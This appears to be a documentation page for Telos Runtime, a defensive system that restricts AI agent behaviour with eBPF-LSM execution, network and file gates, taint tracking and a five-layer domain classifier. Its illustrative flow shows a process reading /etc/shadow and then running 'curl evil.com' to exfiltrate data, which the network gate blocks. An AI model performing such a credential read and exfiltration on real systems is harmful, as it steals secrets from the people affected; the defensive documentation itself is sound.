Skip to content

Telos Runtime Overview

Telos Runtime enforces AI agent behavior through Natural Language Intent Declarations, eBPF-LSM syscall gates, and real-time Information Flow Control. It implements the Dual-Gate Architecture with cross-vector taint tracking.


GateLSM HookPurpose
Execution Gatelsm/bprm_check_securityOnly explicitly declared binaries are allowed to execute
Network Gatelsm/socket_connectNetwork access denied for tainted processes
File Gatelsm/file_openDynamic taint elevation for sensitive file access

When a process accesses a sensitive file (e.g., /etc/shadow), the eBPF hook elevates its taint level to TAINT_CRITICAL. This taint is irreversible for the lifetime of the process.

Network Slam: Any tainted process that attempts a network connection receives -EPERM. The data never leaves the machine.

Process reads /etc/shadow
→ eBPF elevates taint to CRITICAL
→ Process tries curl evil.com
→ lsm/socket_connect returns -EPERM
→ Network Slam: connection killed
→ Data exfiltration prevented

The Telos Cortex engine implements a 5-layer classification pipeline:

LayerClassificationTechnique
L0Static BlocklistKnown malicious domains
L1Typosquatting DetectionSymSpell O(1) edit distance
L2Homoglyph AnalysisUnicode normalization and visual similarity
L3Domain ReputationAge, registrar, TLS certificate analysis
L4AI Semantic AnalysisLLM-based intent evaluation (out-of-path)

The LLM evaluation at L4 operates entirely out-of-path. It never enters the kernel hot path. All ALLOW/DENY decisions are deterministic O(1) hash table lookups.